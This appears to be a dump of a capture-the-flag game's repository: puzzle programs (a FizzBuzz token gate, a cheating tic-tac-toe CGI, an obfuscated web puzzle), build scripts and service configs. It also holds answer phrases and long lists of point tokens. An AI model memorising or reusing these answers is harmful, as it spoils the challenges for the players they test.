return 1;
}
tokenlen = fread(token, 1, sizeof(token), tokenin);
fclose(tokenin);
}
for (i=1; i <= 100; i += 1) {
char l[100];
fgets(l, sizeof(l), stdin);
if (0 == i % 15) {
if (0 != strcmp("FizzBuzz\n", l)) break;
} else if (0 == i % 3) {
if (0 != strcmp("Fizz\n", l)) break;
} else if (0 == i % 5) {
if (0 != strcmp("Buzz\n", l)) break;
} else {
if (atoi(l) != i) break;
}
token[i % tokenlen] ^= i;
token[i % tokenlen] ^= craptable[i % sizeof(craptable)];
}
if (101 == i) {
fwrite(token, tokenlen, 1, stdout);
} else {
printf("Next time, FizzBuzz me.\n");
}
return 0;
}

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net:xuhen-fizuv-syvex

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Kelcey Tietjen <ktietjen@lanl.gov>

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Kelcey Tietjen <ktietjen@lanl.gov>

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Kelcey Tietjen <ktietjen@lanl.gov>

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Kelcey Tietjen <ktietjen@lanl.gov>

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Kelcey Tietjen <ktietjen@lanl.gov>

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Kelcey Tietjen <ktietjen@lanl.gov>

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Kelcey Tietjen <ktietjen@lanl.gov>

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Kelcey Tietjen <ktietjen@lanl.gov>

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Kelcey Tietjen <ktietjen@lanl.gov>

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Kelcey Tietjen <ktietjen@lanl.gov>

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Kelcey Tietjen <ktietjen@lanl.gov>

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Kelcey Tietjen <ktietjen@lanl.gov>

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Kelcey Tietjen <ktietjen@lanl.gov>

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Kelcey Tietjen <ktietjen@lanl.gov>

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Kelcey Tietjen <ktietjen@lanl.gov>

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Kelcey Tietjen <ktietjen@lanl.gov>

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Kelcey Tietjen <ktietjen@lanl.gov>

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Kelcey Tietjen <ktietjen@lanl.gov>

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Kelcey Tietjen <ktietjen@lanl.gov>

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Kelcey Tietjen <ktietjen@lanl.gov>

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Kelcey Tietjen <ktietjen@lanl.gov>

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Kelcey Tietjen <ktietjen@lanl.gov>

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Kelcey Tietjen <ktietjen@lanl.gov>

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5 UGOTIT
5 ugotit
10 making science
30 viewfinders filets
40 b00m! face punch.
40 B00M! FACE PUNCH.
60 A WINNER IS YOU
80 overhaul credential
90 A WINNER IS WHO?

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#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <stdio.h>
#include "cgi.h"
#ifdef NODUMP
# define DUMPf(fmt, args...)
#else
# define DUMPf(fmt, args...) fprintf(stderr, "%s:%s:%d " fmt "\n", __FILE__, __FUNCTION__, __LINE__, ##args)
#endif
#define DUMP() DUMPf("")
#define DUMP_d(v) DUMPf("%s = %d", #v, v)
#define DUMP_x(v) DUMPf("%s = 0x%x", #v, v)
#define DUMP_s(v) DUMPf("%s = %s", #v, v)
#define DUMP_c(v) DUMPf("%s = '%c' (0x%02x)", #v, v, v)
#define DUMP_p(v) DUMPf("%s = %p", #v, v)
#define POST_MAX 1024
/*
* CGI
*/
static int is_cgi = 0;
static char **argv = NULL;
static int
read_char_argv()
{
static int arg = 0;
static char *p;
if (NULL == argv) {
return EOF;
}
if (0 == arg) {
arg = 1;
p = argv[1];
}
if (! p) {
return EOF;
} else if (! *p) {
arg += 1;
p = argv[arg];
return '&';
}
return *(p++);
}
static int
read_char_stdin()
{
static int inlen = -1;
if (-1 == inlen) {
char *p = getenv("CONTENT_LENGTH");
if (p) {
inlen = atoi(p);
if (inlen > POST_MAX) {
inlen = POST_MAX;
}
if (inlen < 0) {
inlen = 0;
}
} else {
inlen = 0;
}
}
if (inlen) {
inlen -= 1;
return getchar();
}
return EOF;
}
static int
read_char_query_string()
{
static char *p = (char *)-1;
if ((char *)-1 == p) {
p = getenv("QUERY_STRING");
}
if (! p) {
return EOF;
} else if (! *p) {
return EOF;
} else {
return *(p++);
}
}
static int (* read_char)() = read_char_argv;
int
cgi_init(char *global_argv[])
{
char *rm = getenv("REQUEST_METHOD");
if (! rm) {
read_char = read_char_argv;
argv = global_argv;
} else if (0 == strcmp(rm, "POST")) {
read_char = read_char_stdin;
is_cgi = 1;
} else if (0 == strcmp(rm, "GET")) {
read_char = read_char_query_string;
is_cgi = 1;
} else {
printf(("405 Method not allowed\r\n"
"Allow: GET, POST\r\n"
"Content-type: text/plain\r\n"
"\r\n"
"%s is not allowed.\n"),
rm);
return -1;
}
return 0;
}
static char
tonum(int c)
{
if ((c >= '0') && (c <= '9')) {
return c - '0';
}
if ((c >= 'a') && (c <= 'f')) {
return 10 + c - 'a';
}
if ((c >= 'A') && (c <= 'F')) {
return 10 + c - 'A';
}
return 0;
}
static char
read_hex()
{
int a = read_char();
int b = read_char();
return tonum(a)*16 + tonum(b);
}
/* Read a key or a value. Since & and = aren't supposed to appear
outside of boundaries, we can use the same function for both.
*/
size_t
cgi_item(char *str, size_t maxlen)
{
int c;
size_t pos = 0;
while (1) {
c = read_char();
switch (c) {
case EOF:
case '=':
case '&':
str[pos] = '\0';
return pos;
case '%':
c = read_hex();
break;
case '+':
c = ' ';
break;
}
if (pos < maxlen - 1) {
str[pos] = c;
pos += 1;
}
}
}
void
cgi_head(char *title)
{
if (is_cgi) {
printf("Content-type: text/html\r\n\r\n");
}
printf(("<!DOCTYPE html>\n"
"<html>\n"
" <head>\n"
" <title>%s</title>\n"
" </head>\n"
" <body>\n"
" <h1>%s</h1>\n"),
title, title);
}
void
cgi_foot()
{
printf("\n"
" </body>\n"
"</html>\n");
}
void
cgi_result(int code, char *desc, char *fmt, ...)
{
va_list ap;
if (is_cgi) {
printf("%d %s\r\n", code, desc);
}
cgi_head(desc);
va_start(ap, fmt);
vprintf(fmt, ap);
va_end(ap);
cgi_foot();
exit(0);
}
void
cgi_page(char *title, char *fmt, ...)
{
va_list ap;
cgi_head(title);
va_start(ap, fmt);
vprintf(fmt, ap);
va_end(ap);
cgi_foot();
exit(0);
}
void
cgi_error(char *text)
{
cgi_result(500, "Internal error", "<p>%s</p>", text);
}

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#ifndef __CGI_H_
#define __CGI_H_
#include <stddef.h>
int cgi_init(char *global_argv[]);
size_t cgi_item(char *str, size_t maxlen);
void cgi_head(char *title);
void cgi_foot();
void cgi_result(int code, char *desc, char *fmt, ...);
void cgi_page(char *title, char *fmt, ...);
void cgi_error(char *text);
#endif

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<!DOCTYPE html>
<html>
<head>
<title>General Statics</title>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
<style type="text/css">
html {
background: url("bg.jpg");
}
body {
background: black url("p2.png") no-repeat top center;
background-size: contain;
color: magenta;
max-width: 44em;
margin: auto;
padding: 2em;
}
h1 {
background: silver url("data.png") no-repeat top center;
background-size: 100% 100%;
color: green;
}
.hidden {
font-size: small;
opacity: 0.1;
herring: #f00;
}
table#game {
float: right;
border-collapse: collapse;
text-align: center;
background: #400;
color: white;
margin: 2em;
}
table#game td {
border: solid 5px white;
width: 3em;
height: 3em;
}
table#game tr:first-child td {
border-top: 0;
}
table#game tr:last-child td {
border-bottom: 0;
}
table#game tr td:first-child {
border-left: 0;
}
table#game tr td:last-child {
border-right: 0;
}
#login {
position: absolute;
bottom: 10px;
}
</style>
<script type="text/javascript">
var pending = false;
var aleph = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@";
var board = [[0,0,0],[0,0,0],[0,0,0]];
function clicky(y, x) {
var td = document.getElementById("t" + y + x);
if (pending) {
return;
}
if (board[y][x] > 0) {
return;
}
board[y][x] = 1;
// Build up state
var b = "";
for (var y = 0; y < 3; y += 1) {
var acc = 0;
for (var x = 0; x < 3; x += 1) {
acc <<= 2;
acc += board[y][x];
}
b += aleph.charAt(acc);
}
var request = new XMLHttpRequest();
request.open("POST", "/ttt.cgi", false);
request.send("b=" + b);
if (request.status == 200) {
var rt = request.responseText;
if (rt.length == 3) {
for (var y = 0; y < 3; y += 1) {
var acc = aleph.indexOf(rt[y]);
for (var x = 2; x >= 0; x -= 1) {
board[y][x] = acc & 3;
acc >>= 2;
}
}
} else {
alert(rt);
}
}
update();
}
function update() {
var be = document.getElementById("board");
for (var y = 0; y < 3; y += 1) {
for (var x = 0; x < 3; x += 1) {
var e = document.getElementById("t" + y + x);
if (board[y][x] == 1) {
e.innerHTML = "X";
} else if (board[y][x] == 2) {
e.innerHTML = "O";
} else {
e.innerHTML = "";
}
}
}
}
var c = unescape("vlkkrolv.zhk%7D%7F%60msou%3Aao%7F%7Cq%7B%7Bu%3Amk%7Fj%7Ctzp%7Bb9ux%7Chfxob9y%7C%7C%7Ekwngxv");
function u() {
var o = document.getElementById("output");
var i = document.getElementById("input").value.split("-");
var k = i[0];
var r = parseInt(i[1] || 0);
var s = [];
for (i = 0; i < c.length; i += 1) {
s.push(c.charCodeAt(i) ^ k.charCodeAt(i%3) ^ r);
}
console.log(escape(String.fromCharCode.apply(0, s)));
o.innerHTML = String.fromCharCode.apply(0, s);
//o.innerHTML = s.join(" ");
}
window.onload = update;
</script>
</head>
<body>
<h1>General Statics</h1>
<p>
General Statics is pleased to announce our shift into the casual gaming
market. Please try our new flagship product: Tic-Tac-Toe Extreme!
</p>
<table id="game">
<tr><td id="t00" onclick="clicky(0, 0)"></td><td id="t01" onclick="clicky(0, 1)"></td><td id="t02" onclick="clicky(0, 2)"></td></tr>
<tr><td id="t10" onclick="clicky(1, 0)"></td><td id="t11" onclick="clicky(1, 1)"></td><td id="t12" onclick="clicky(1, 2)"></td></tr>
<tr><td id="t20" onclick="clicky(2, 0)"></td><td id="t21" onclick="clicky(2, 1)"></td><td id="t22" onclick="clicky(2, 2)"></td></tr>
<caption>You play X. Reload this page to start over.</caption>
</table>
<p id="output">
This strategic shift will bring our company back to the forefront
of revenue-generating companies.
</p>
<h2>About Us</h2>
<p>
Most strategic planning involves thinking and talking
about the future. Crafting and executing strategy requires
actually making decisions and acting on the future. And doing
so in an “expeditionary” manner that enables continuous
change, flexibility, and adaptability.
</p>
<p>
General Statics continuously delivers value through leveraging technology to
change behaviors, processes and practices. In the Knowledge Economy, many
of the most decisive sources of value are intangible. We
help our clients to optimize both tangible and intangible
<!-- 8↘4↘3↓9↙3↘4↘6↓3↙3↓7↓7↘13↘4↘5↘3↓8↙7↘ -->
value. We deploy and leverage new technologies to change the
dynamics of organizational processes, relationships, and
interactions with customers, clients, partners, members, and
other stakeholders. This drives enhanced performance, reduces
costs, and enables enterprises to improve their competitive
advantage.
</p>
<p>
Knowledge Age enterprises must realign their strategies,
processes and practices to the post-recession Economy.
New generations of measurement and analytics tools are
making it possible for enterprises to pursue new
strategies that lead them to higher planes of nimble
performance.
</p>
<p id="login">
Employee access:
<input id="input" onchange="u();">
<audio autoplay="go" loop="yeah" src="msg.ogg">
</p>
</body>
</html>

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@ -1,198 +0,0 @@
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "cgi.h"
const char *b64_aleph = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@";
typedef int board_t[3][3];
void
b64_of_board(char *out, board_t board)
{
int y, x;
for (y = 0; y < 3; y += 1) {
int acc = 0;
for (x = 0; x < 3; x += 1) {
acc <<= 2;
acc += board[y][x];
}
out[y] = b64_aleph[acc];
}
}
void
board_of_b64(board_t out, char *b64)
{
int y, x;
for (y = 0; y < 3; y += 1) {
char *p = strchr(b64_aleph, b64[y]);
int acc = 0;
if (p) {
acc = p - b64_aleph;
}
for (x = 2; x >= 0; x -= 1) {
out[y][x] = acc & 3;
acc >>= 2;
}
}
}
void
print_board(board_t board)
{
int y, x;
for (y = 0; y < 3; y += 1) {
for (x = 0; x < 3; x += 1) {
printf("%d", board[y][x]);
}
printf("\n");
}
}
int
winner(board_t board)
{
int i, j, k;
for (i = 0; i < 3; i += 1) {
for (k = 0; k < 3; k += 1) {
int winner = -1;
for (j = 0; j < 3; j += 1) {
int b;
switch (k) {
case 0:
b = board[i][j];
break;
case 1:
b = board[j][i];
break;
case 2:
/* This will happen 3× as often as it needs to. Who cares. */
b = board[j][j];
break;
}
if (winner == -1) {
winner = b;
} else if (winner != b) {
winner = -1;
break;
}
}
if (winner > 0) {
return winner;
}
}
}
return 0;
}
void
claim(board_t board, int x, int y, int whom)
{
int prev = board[x][y];
int i;
if (prev == whom) {
return;
}
for (i = 0; i < 9; i += 1) {
if (! board[i/3][i%3]) {
board[i/3][i%3] = prev;
break;
}
}
board[x][y] = whom;
}
void
make_move(board_t board)
{
switch (winner(board)) {
case 1:
printf("A WINNER IS YOU\n");
exit(0);
case 2:
/* I win; we can keep playing though, because I (neale)
don't want to write any more code to handle this. */
break;
case 3:
printf("A WINNER IS WHO?\n");
exit(1);
}
/* Reserve our final space */
claim(board, 2, 2, 0);
/* First move */
if (board[1][1] != 2) {
claim(board, 1, 1, 2);
return;
}
/* Second move */
if (board[0][0] != 2) {
/* Prevent them from winning legally */
if (board[0][2]) {
claim(board, 1, 2, 0);
}
if (board[2][0]) {
claim(board, 2, 1, 0);
}
claim(board, 0, 0, 2);
return;
}
/* Third move */
claim(board, 2, 2, 2);
}
int
main(int argc, char *argv[])
{
char b64[4] = {0};
board_t board = {0};
if (-1 == cgi_init(argv)) {
return 0;
}
while (1) {
size_t len;
char key[20];
len = cgi_item(key, sizeof key);
if (0 == len) break;
switch (key[0]) {
case 'b':
cgi_item(b64, sizeof b64);
break;
default:
cgi_item(key, 0);
break;
}
}
printf("Content-type: text/plain\r\n\r\n");
board_of_b64(board, b64);
make_move(board);
b64_of_board(b64, board);
fwrite(b64, 1, 3, stdout);
return 0;
}

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GS_PKGDIR = $(TARGET)/gs
gs-install:
mkdir -p $(GS_PKGDIR)
cp packages/gs/answers.txt $(GS_PKGDIR)
PACKAGES += gs

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HOST_PKGDIR = $(TARGET)/host
host-install:
mkdir -p $(HOST_PKGDIR)
cp packages/host/tokens.txt $(HOST_PKGDIR)
PACKAGES += host

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host:500:xizep-cutih-zumyx
host:600:xisag-palyz-zehax
host:700:xedar-nobam-rocyx
host:800:xigeh-pomon-zucux
host:900:xesaf-vunuc-cocyx
host:1000:xired-varor-honox
host:100:xibed-curuc-mokax
host:200:xerah-gurez-dupix
host:300:xegor-fyraf-cizux
host:400:xidav-bedob-kuhyx
host:500:xicem-cydis-mufix
host:600:xulac-vofuh-sytyx
host:700:xovir-cociv-rudox
host:800:xehos-dapif-vurax
host:900:xigod-rizyk-kebax
host:1000:xonon-zoboh-farax
host:100:xobas-gidyt-burox
host:200:xotap-vibyd-fefix
host:300:xoviz-nivit-kymox
host:400:xelaz-lamiv-rurix
host:500:xezig-lazer-hefyx
host:600:xelor-bogeh-nocux
host:700:xulof-saref-gehix
host:800:xeneh-degub-tynax
host:900:xogof-sisib-tyhyx
host:1000:xubol-pynyp-hodax
host:100:xelir-likep-gulex
host:200:xiboh-kodab-nykax
host:300:xodat-tyhas-mysyx
host:400:xevis-surac-dybex
host:500:xugom-tutih-suhix
host:600:xomit-vyvyl-bypex
host:700:xozaz-vydyk-cacax
host:800:xulih-pizes-kemax
host:900:xetop-timad-ladyx
host:1000:xerar-cafad-fipex
host:100:xezer-tuvon-rabox
host:200:xicab-torut-zesux
host:300:xizar-zonob-cazix
host:400:xezes-sifub-rubax
host:500:xezit-digep-vilax
host:600:xuhad-popun-muhux
host:700:xotos-darer-vyrix
host:800:xepic-bykev-kadox
host:900:xodoh-zamul-migax
host:1000:xoviv-pefyp-febyx
host:100:xohil-zifec-sydyx
host:200:xizid-zegis-vyvux
host:300:xupit-nihyb-mevax
host:400:xoboz-velen-guzax
host:500:xomah-ponyf-puhyx
host:600:xiril-hysan-retix
host:700:xirep-cevyr-tonex
host:800:xihab-racez-lihex
host:900:xudis-fazib-zolax
host:1000:xureb-nemoh-kivox
host:100:xocon-daniv-hysix
host:200:xitel-likip-kibyx
host:300:xetik-nokyb-tasox
host:400:xepoz-gasoz-mypax
host:500:xotet-dedos-sorix
host:600:xelez-hynum-nesux
host:700:xiron-dyhef-mohix
host:800:xunib-marig-kycox
host:900:xedav-dybel-danox
host:1000:xideb-nolub-gocux
host:100:xefon-rogoh-kizux
host:200:xuzel-pofyp-sotix
host:300:xihoh-mamyr-luzex
host:400:xobel-rapof-kymax
host:500:xehaz-lysez-zyvux
host:600:xuhos-tilac-cesax
host:700:xetin-fofap-cuzox
host:800:xitih-gyhyv-docex
host:900:xikal-kitop-zygox
host:1000:xezot-fycuv-zakex
host:100:xizas-basoc-kinux
host:200:xodos-gyluv-dudyx
host:300:xilib-dyryb-cukyx
host:400:xucev-nypif-zamox
host:500:ximiz-susec-gobex
host:600:xokic-febac-tasex
host:700:xuzis-kofih-zulyx
host:800:xekek-gygyf-nonox
host:900:xebof-huvof-syvix
host:1000:xufiv-syhas-bytex
host:100:xelap-sihic-kavex
host:200:xubah-pycec-nucax
host:300:xerik-vamos-tenax
host:400:xegon-kozos-barix
host:500:xihoz-nafeh-cynix
host:600:xokoc-fizyd-vinax
host:700:xemiz-batyk-vesix
host:800:xoren-tytop-dobex
host:900:xuzav-tufuz-kovax
host:1000:xizot-taven-rukix
host:100:xubis-bemur-kocyx
host:200:xizor-sizes-nigax
host:300:xicof-tyvud-cisox
host:400:xisof-vylip-sogyx
host:500:xevop-geris-fukyx
host:600:xezef-cufor-lohux
host:700:xinod-rofig-tesux
host:800:xokiv-zofep-sofux
host:900:xopal-bofet-nidix
host:1000:xizen-byvyn-zymyx
host:100:xutob-mopiz-cesyx
host:200:xilis-pifir-bovox
host:300:xufoc-cuvyv-rupax
host:400:xirif-nepef-silox
host:500:xetoz-doduh-nedyx
host:600:xefoh-pufod-tytux
host:700:xelit-pupik-gylux
host:800:xosad-nedol-mecax
host:900:xinit-hytan-ledux
host:1000:xizom-dymus-zisox
host:100:xopap-pumat-cugyx
host:200:xibed-kozid-bihox
host:300:xizos-lefyf-sypux
host:400:xinib-ratib-runix
host:500:xonev-tymeg-lihyx
host:600:xeham-zasig-mozux
host:700:xumoh-nahyz-begix
host:800:xufar-kohym-bykyx
host:900:xinil-humel-dutux
host:1000:xefeg-decur-kazyx
host:100:xupen-nebel-cecox
host:200:xudav-cuvuh-mavex
host:300:xohan-facel-putox
host:400:xurom-tomug-bulax
host:500:xicah-mycet-totax
host:600:xucag-fytal-hopux
host:700:xudek-nahet-bomex
host:800:xubas-fogam-nelix
host:900:xevem-dadeg-revux
host:1000:xocac-namuc-locux
host:100:xezov-gybez-bosox
host:200:xihev-cagaf-gakyx
host:300:xopor-cyhul-guvux
host:400:xuzem-cunaz-zydix
host:500:xogin-bilad-gulix
host:600:xigab-buzed-sytix
host:700:xuvon-zorys-fapix
host:800:xusof-bygap-nymax
host:900:xokic-bimyg-dutux
host:1000:xinez-hynyh-tegex
host:100:xumec-culor-racix
host:200:xobis-rogoc-sihux
host:300:xideg-sanud-denox
host:400:xerig-vytut-zutox
host:500:xicad-dykom-vimax
host:600:xedad-perig-fycux
host:700:xotig-dotil-vevox
host:800:xetim-tyhoc-fidox
host:900:xuzip-bymyb-vehix
host:1000:xohil-kuhuc-comyx
host:100:xocat-cuhaz-suhyx
host:200:xunas-tazuh-rytyx
host:300:xucab-melih-ginix
host:400:xicig-sumik-lynox
host:500:xikag-dosed-muvix
host:600:xifab-hytim-sagix
host:700:xobor-hypor-suhox
host:800:xosos-hysor-tapux
host:900:xotih-nahis-sutex
host:1000:xocas-voboc-bevyx
host:100:xunod-mopol-sugex
host:200:xosan-sipuh-dizyx
host:300:xirak-cesad-kuzox
host:400:xudin-nocem-minux
host:500:xolen-zogim-fyhux
host:600:xipot-pazaz-vurux
host:700:xesad-tudah-kopix
host:800:xomam-simis-gutex
host:900:xevos-hoteh-pymox
host:1000:xodab-hofak-celyx
host:100:xuboh-kegim-kubyx
host:200:xolad-zekam-puzex
host:300:xudiv-bigyh-subax
host:400:xemek-kupiv-tibix
host:500:xufoc-lumil-namix
host:600:xegef-hynyf-novox
host:700:xetev-vokig-covux
host:800:xisic-gicev-pozyx
host:900:xofag-fysum-rivex
host:1000:xesok-kofyc-fyhax

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@ -1,18 +0,0 @@
INFERNO_PKGDIR = $(TARGET)/inferno
INFERNO_BUILDDIR = $(BUILD)/inferno
inferno-source:
inferno-build:
inferno-install: eris
mkdir -p $(INFERNO_PKGDIR)/bin
cp $(ERIS_BIN) $(INFERNO_PKGDIR)/bin/
$(call COPYTREE, packages/inferno/service, $(INFERNO_PKGDIR)/service)
inferno-clean:
rm -rf $(INFERNO_PKGDIR) $(INFERNO_BUILDDIR)
PACKAGES += inferno

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@ -1,3 +0,0 @@
#! /bin/sh
exec svlogd -tt $PWD

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@ -1,7 +0,0 @@
#! /bin/sh -e
exec 2>&1
cd $PACKAGES/www
exec tcpsvd -l localhost 0 80 $CTF_BASE/packages/inferno/bin/eris -d.

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@ -1,3 +0,0 @@
#! /bin/sh
exec svlogd -tt $PWD

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@ -1,12 +0,0 @@
#! /bin/sh -e
exec 2>&1
mkdir -p /mnt/inferno
fgrep -q /mnt/inferno /proc/mounts || mount -o ro LABEL=inferno /mnt/inferno
test -e /var/www || ln -s /mnt/inferno /var/www
ip addr add 10.0.0.2/24 dev eth0
ip link set dev eth0 up
exec inotifyd true $PWD

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@ -1,3 +0,0 @@
#! /bin/sh
exec svlogd -tt $PWD

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@ -1,4 +0,0 @@
#! /bin/sh
exec 2>&1
exec dropbear -r ./rsa.key -E -F

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@ -1,38 +0,0 @@
IRCD_PKGDIR = $(TARGET)/ircd
IRCD_BUILDDIR = $(BUILD)/ircd
IRCD_VERSION = 19.1
IRCD_TAR = $(CACHE)/ngircd-$(IRCD_VERSION).tar.gz
IRCD_URL = ftp://ftp.berlios.de/pub/ngircd/ngircd-$(IRCD_VERSION).tar.gz
IRCD_SRCDIR = $(IRCD_BUILDDIR)/ngircd-$(IRCD_VERSION)
# Prevents automake from mangling cross-compiled binary names
IRCD_CC_HOST := $(shell $(CC) -v 2>&1 | awk '/Target:/{print $$2}')
ircd-install: ircd-build
$(IRCD_TAR):
@ mkdir -p $(@D)
wget -O $@ $(IRCD_URL)
ircd-source: $(IRCD_BUILDDIR)/source
$(IRCD_BUILDDIR)/source: $(IRCD_TAR)
mkdir -p $(IRCD_BUILDDIR)
zcat $(IRCD_TAR) | (cd $(IRCD_BUILDDIR) && tar xf -)
touch $@
ircd-build: $(IRCD_BUILDDIR)/built
$(IRCD_BUILDDIR)/built: $(IRCD_BUILDDIR)/source
cd $(IRCD_SRCDIR) && ./configure $(CONFIG_XCOMPILE_FLAGS) --enable-ipv6
$(MAKE) -C $(IRCD_SRCDIR)
touch $@
ircd-install: ircd-build
mkdir -p $(IRCD_PKGDIR)/bin
cp $(IRCD_SRCDIR)/src/ngircd/ngircd $(IRCD_PKGDIR)/bin
$(call COPYTREE, packages/ircd/service, $(IRCD_PKGDIR)/service)
ircd-clean:
rm -rf $(IRCD_BUILDDIR)
PACKAGES += ircd

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@ -1,3 +0,0 @@
#! /bin/sh
dbip -d

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@ -1 +0,0 @@
6

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@ -1,3 +0,0 @@
#! /bin/sh
exec svlogd -tt $PWD

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@ -1,34 +0,0 @@
#! /bin/sh
exec 2>&1
IP=$(dbip -a)
adduser -S -H -u 65534 nobody
adduser -S -H irc
operpass=$(dd if=/dev/urandom count=1 | md5sum | cut -d' ' -f1)
cat <<EOD >ngircd.conf
[Global]
Name = irc.ctf
Info = CTF IRC
AdminInfo1 = CTF IRC Server
AdminInfo2 = The table at the front of the room
AdminEmail = zephyr@dirtbags.net
MotdPhrase = "welcome datacomp"
Listen = ${IP%/*}
ServerUID = 101
ServerGID = 65534
[Options]
OperCanUseMode = yes
DNS = no
Ident = no
[Operator]
Name = oper
Password = $operpass
EOD
exec setuidgid irc $CTF_BASE/packages/ircd/bin/ngircd --config ./ngircd.conf --nodaemon

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@ -1,28 +0,0 @@
LIBCAP_PKGDIR = $(TARGET)/libcap
LIBCAP_BUILDDIR = $(BUILD)/libcap
LIBCAP_VERSION = 2.22
LIBCAP_TAR = $(CACHE)/libcap-$(LIBCAP_VERSION).tar.gz
# XXX: kernel.org was down when I wrote this, but is the canonical source
LIBCAP_URL = http://ftp.debian.org/debian/pool/main/libc/libcap2/libcap2_$(LIBCAP_VERSION).orig.tar.gz
LIBCAP_SRCDIR = $(LIBCAP_BUILDDIR)/libcap-$(LIBCAP_VERSION)
LIBCAP_LDFLAGS = -L$(CURDIR)/$(LIBCAP_SRCDIR)/libcap
LIBCAP_CFLAGS = -I$(CURDIR)/$(LIBCAP_SRCDIR)/libcap/include
$(LIBCAP_TAR):
mkdir -p $(@D)
wget -O $@ $(LIBCAP_URL)
libcap-source: $(LIBCAP_BUILDDIR)/source
$(LIBCAP_BUILDDIR)/source: $(LIBCAP_TAR)
mkdir -p $(@D)
zcat $< | ( cd $(@D) && tar xf -)
touch $@
# This library's build sort of blows.
libcap-build: $(LIBCAP_BUILDDIR)/built
$(LIBCAP_BUILDDIR)/built: $(LIBCAP_BUILDDIR)/source
$(MAKE) -C $(LIBCAP_SRCDIR)/libcap _makenames
$(MAKE) -C $(LIBCAP_SRCDIR) CC=$(CC)
touch $@

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@ -1,52 +0,0 @@
LXC_PKGDIR = $(TARGET)/lxc
LXC_BUILDDIR = $(BUILD)/lxc
LXC_VERSION = 0.7.5
LXC_TAR = $(CACHE)/lxc-$(LXC_VERSION).tar.gz
LXC_URL = http://lxc.sourceforge.net/download/lxc/lxc-$(LXC_VERSION).tar.gz
LXC_SRCDIR = $(LXC_BUILDDIR)/lxc-$(LXC_VERSION)
LXC_COMMANDS = attach cgroup checkpoint console execute freeze
LXC_COMMANDS += info init kill monitor restart start stop
LXC_COMMANDS += unfreeze unshare wait
LXC_PROGRAMS = $(addprefix $(LXC_SRCDIR)/src/lxc/lxc-, $(LXC_COMMANDS))
# Prevents automake from mangling cross-compiled binary names
LXC_CC_HOST := $(shell $(CC) -v 2>&1 | awk '/Target:/{print $$2}')
LXC_CONF_OPT := --host=i386-unknown-linux-uclibc --program-transform-name=
lxc-install: lxc-build
$(LXC_TAR):
@ mkdir -p $(@D)
wget -O $@ $(LXC_URL)
lxc-source: $(LXC_BUILDDIR)/source
$(LXC_BUILDDIR)/source: $(LXC_TAR)
mkdir -p $(LXC_BUILDDIR)
zcat $(LXC_TAR) | (cd $(LXC_BUILDDIR) && tar xf -)
cp packages/lxc/utmp.c $(LXC_SRCDIR)/src/lxc/
touch $@
lxc-build: $(LXC_BUILDDIR)/built
$(LXC_BUILDDIR)/built: $(LXC_BUILDDIR)/source libcap-build
cd $(LXC_SRCDIR) && CFLAGS="$(LIBCAP_CFLAGS)" LDFLAGS="$(LIBCAP_LDFLAGS) -Xlinker -rpath -Xlinker /opt/lxc/lib" ./configure $(CONFIG_XCOMPILE_FLAGS)
$(MAKE) -C $(LXC_SRCDIR)
touch $@
lxc-install: lxc-build
mkdir -p $(LXC_PKGDIR)/lib
cp $(LXC_SRCDIR)/src/lxc/liblxc.so $(LXC_PKGDIR)/lib/liblxc.so.0
cp $(LIBCAP_SRCDIR)/libcap/libcap.so.* $(LXC_PKGDIR)/lib
mkdir -p $(LXC_PKGDIR)/bin
cp $(LXC_PROGRAMS) $(LXC_PKGDIR)/bin
# $(call COPYTREE, packages/lxc/service, $(LXC_PKGDIR)/service)
lxc-clean:
rm -rf $(LXC_BUILDDIR)
LIBCAP_PKGDIR = $(TARGET)/libcap

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@ -1,11 +0,0 @@
/* Detecting runlevels from utmp is straight up bullshit, you.
1. runit doesn't have run levels
2. dbtl doesn't write utmp
3. even if it did, it doesn't have the glibc functions this code
wants
*/
int lxc_utmp_mainloop_add(struct lxc_epoll_descr *descr,
struct lxc_handler *handler) {
return 0;
}

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@ -1,6 +1,6 @@
#! /bin/sh #! /bin/sh
shuf -n 2 /usr/share/dict/words | while read word; do grep -v "'" /usr/share/dict/words | shuf -n 2 | while read word; do
echo -n "$word " echo -n "$word "
done done
echo echo

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@ -1,19 +0,0 @@
MULTICASTER_PKGDIR = $(TARGET)/multicaster
multicaster-install: multicaster-build
mkdir -p $(MULTICASTER_PKGDIR)
cp packages/multicaster/tokens.txt $(MULTICASTER_PKGDIR)
$(call COPYTREE, packages/multicaster/service, $(MULTICASTER_PKGDIR)/service)
mkdir -p $(MULTICASTER_PKGDIR)/bin/
$(MAKE) -C packages/multicaster/src install DESTDIR=$(CURDIR)/$(MULTICASTER_PKGDIR)
multicaster-clean:
rm -rf $(MULTICASTER_PKGDIR)
$(MAKE) -C packages/multicaster/src clean
multicaster-build:
$(MAKE) -C packages/multicaster/src build
PACKAGES += multicaster

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@ -1,3 +0,0 @@
#! /bin/sh
dbip -d

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@ -1,3 +0,0 @@
#! /bin/sh
exec svlogd -tt $PWD

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@ -1,7 +0,0 @@
#! /bin/sh -e
exec 2>&1
IP=$(dbip -a)
exec setuidgid ctf $CTF_BASE/packages/multicaster/bin/multicaster ff15::62c 1580 <$CTF_BASE/packages/multicaster/tokens.txt

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@ -1,11 +0,0 @@
CFLAGS = -Wall -Werror
TARGETS = multicaster
all: build
build: $(TARGETS)
install: $(TARGETS)
install -m 0755 $(TARGETS) $(DESTDIR)/bin
clean:
rm -f *.o $(TARGETS)

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@ -1,121 +0,0 @@
/* multicast_client.c
* Adopted from tmouse's client/server example code
* found at http://cboard.cprogramming.com/showthread.php?t=67469
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h> /* for printf() and fprintf() */
#include <stdlib.h> /* for atoi() and exit() */
#include <string.h> /* for memset() */
#include <time.h> /* for timestamps */
#include <unistd.h>
void DieWithError(const char* errorMessage)
{
fprintf(stderr, "%s\n", errorMessage);
exit(10);
}
int main(int argc, char* argv[])
{
int sock; /* Socket */
char* multicastIP; /* Arg: IP Multicast Address */
char* multicastPort; /* Arg: Port */
struct addrinfo * multicastAddr = {0}; /* Multicast Address */
struct addrinfo * localAddr; /* Local address to bind to */
struct addrinfo hints = { 0 }; /* Hints for name lookup */
if ( argc != 3 )
{
fprintf(stderr,"Usage: %s <Multicast IP> <Multicast Port>\n", argv[0]);
